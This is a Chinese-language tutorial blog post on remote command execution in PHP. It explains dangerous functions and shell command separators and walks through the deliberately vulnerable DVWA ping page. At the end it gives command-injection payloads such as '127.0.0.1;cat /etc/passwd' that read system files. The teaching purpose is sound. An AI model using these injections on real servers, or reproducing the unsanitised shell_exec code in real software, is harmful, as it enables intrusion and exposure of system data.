RCE: 远程命令执行

RCE漏洞的定义

应用程序允许攻击者在远程服务器上执行未授权的代码或命令。

RCE漏洞的原理

漏洞原理:

  • 代码执行漏洞:应用程序中的某些函数可以执行用户输入的代码。例如,PHP中的eval()函数可以将字符串作为代码执行。
  • 命令执行漏洞:应用程序中的某些函数可以执行系统命令,并将用户输入作为命令参数。攻击者通过拼接符,执行其他命令

常见命令执行函数及命令拼接符

函数

函数描述示例代码
eval()执行字符串作为PHP代码eval($_GET['code']); 这会执行通过GET请求传递的代码。
exec()执行一个命令行命令exec($_GET['cmd']); 这会执行通过GET请求传递的命令。
shell_exec()执行命令,并将完整的输出作为字符串返回$output = shell_exec($_GET['cmd']); 这会执行命令并获取输出。
system()执行命令并显示输出system($_GET['cmd']); 这会执行命令并输出结果。

命令拼接符

拼接符Windows 示例Linux 示例
&&command1 && command2 命令1执行成功才执行命令2command1 && command2 命令1执行成功才执行命令2
&command1 & command2 命令1在后台运行,然后执行命令2command1 & command2 命令1在后台运行,然后执行命令2
;command1 ; command2 无论命令1成功与否都执行命令2command1 ; command2 无论命令1成功与否都执行命令2

实例【dvwa靶场】

具ping功能存在rce漏洞的网站

源码解析

<?php

if( isset( $_POST[ 'submit' ] ) ) {

    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) { 
    
        $cmd = shell_exec( 'ping  ' . $target );
        echo '<pre>'.$cmd.'</pre>';
        
    } else { 
    
        $cmd = shell_exec( 'ping  -c 3 ' . $target );
        echo '<pre>'.$cmd.'</pre>';
        
    }
    
}
?>

运行逻辑

1.检查用户请求中是否存在 submit 参数,存在执行if语句

<?php

if( isset( $_POST[ 'submit' ] ) ) {

2.获取请求中,参数名为 ip 的值,并赋值给变量target

    $target = $_REQUEST[ 'ip' ];

3 使用 php_uname() 函数,获取服务器系统信息,使用 stristr() 函数 忽视大小写查询字符串中,是否存在指定内容

 if (stristr(php_uname('s'), 'Windows NT')) { 

<1..如果服务器系统为windows,使用 shell_exec() 执行windows样式的ping命令 

        $cmd = shell_exec( 'ping  ' . $target );

<2.使用 <pre> 标签格式化显示命令输出结果

        echo '<pre>'.$cmd.'</pre>';

4.如果服务器不是windows系统执行else语句

    } else { 

<1.拼接linux系统命令,使ping命令限制回应次数为三次

        $cmd = shell_exec( 'ping  -c 3 ' . $target );

<2.输出结果

        echo '<pre>'.$cmd.'</pre>';

漏洞利用

使用命令拼接符进行拼接

1.执行命令

payload:127.0.0.1;ls

 2.查看系统文件

payload:127.0.0.1;cat /etc/passwd

  • 13
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值